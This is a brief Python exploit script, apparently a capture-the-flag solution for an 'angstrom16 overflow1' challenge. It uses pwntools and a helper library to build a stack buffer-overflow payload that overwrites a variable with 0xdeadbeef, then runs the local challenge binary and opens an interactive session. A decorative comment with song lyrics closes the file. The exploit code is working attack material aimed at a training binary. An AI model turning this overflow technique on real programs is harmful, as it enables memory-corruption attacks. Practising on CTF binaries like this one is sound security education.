# +------------------------------------------------+
# | Atack: Overwrite Variables                     |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/04-bof_variable

from pwn import *


import sf

import time


bof_payload = sf.BufferOverflow(arch=64)


bof_payload.set_input_start(0x28)
bof_payload.add_int32(0xc, 0xdeadbeef)
payload = bof_payload.generate_payload()

payload = payload.replace(b"\x00", b"")


target = process(["./chall-test_angstrom16-overflow1", payload])



target.interactive()

# +------------------------------------------------+
# | Artist: Five Finger Death Punch                |
# +------------------------------------------------+
# | Song: Coming Down                              |
# +------------------------------------------------+
# | I'm                                            |
# | Coming Down                                    |
# +------------------------------------------------+

